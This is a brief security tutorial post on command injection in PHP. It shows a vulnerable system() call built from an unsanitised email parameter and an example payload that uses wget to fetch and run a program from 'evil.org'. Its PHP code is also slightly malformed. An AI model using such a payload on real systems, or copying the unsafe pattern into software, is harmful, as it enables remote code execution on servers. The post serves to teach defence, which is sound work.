Posts Tagged ‘remote system

Command Injection and its preventation

A successful command injection attack gives the attacker complete control of the remote system. When user input is used as part of a system command, an attack may be able to inject system commands into the user input. This can happen in any programming language; however, it is very common in Perl, PHP, and shell based CGI. It is less common in Java, Phython, and C#. Consider the following PHP code snippet:

<?php

$email_subject = “some subject”;

if ( isset($_GET{‘email’}))

{

system(“mail ” + $_GET{‘email’}) + ” -s ‘” + $email_subject +”‘ < /tmp/email_body”, $return_val);

}

?>

The user sends his or her e-mail address in the email parameter, and that user input is placed directly into a system command. Like SQL injection, the goal of the attacker is to inject a shell command into the email parameter while ensuring that the code before and after the email parameter is syntactically correct. Consider the system() call as a puzzle. The outer puzzle pieces are in place, and the attacker must find a puzzle piece in the middle to finish it off:

mail [MISSING PUZZLE PIECE] –s ‘some subject’ < /tmp/email_body

The puzzle piece needs to ensure that the mail command runs and exits properly. For example, mail –help will run and exit properly. Then the attacker could add additional shell commands by separating the commands with semicolons (;). Dealing with the puzzle piece on the other side is as simple as commenting it out with the shell comment symbol (#). Thus, a useful puzzle piece for the email parameter might be this:

–help; wget http://evil.org/attack_program; ./attack_program #

Adding this puzzle piece to the puzzle creates the following shell command:

mail –help; wget http://evil.org/attack_program;

./attack_program # s ‘some subject’ < /tmp/email_body

This is equivalent to this:

mail –help; wget http://evil.org/attack_program; ./attack_program

This runs mail –help and then downloads attack_program from evil.org and executes it, allowing the attacker to perform arbitrary commands on the vulnerable web site.

Preventing Command Injection

Preventing command injection is similar to preventing SQL injection. The developer must escape the user input appropriately before running a command with that input. It may seem like escaping semicolon (;) to backslash-semicolon (\;) would fix the problem. However, the attacker could use double-ampersand (&&) or possibly double-bar (||) instead of the semicolon. The escaping routine is heavily dependent on the shell executing the command. So developers should use an escape routine for the shell command rather than creating their own routine.

 

Tags : , , , , , , , , , , , , , ,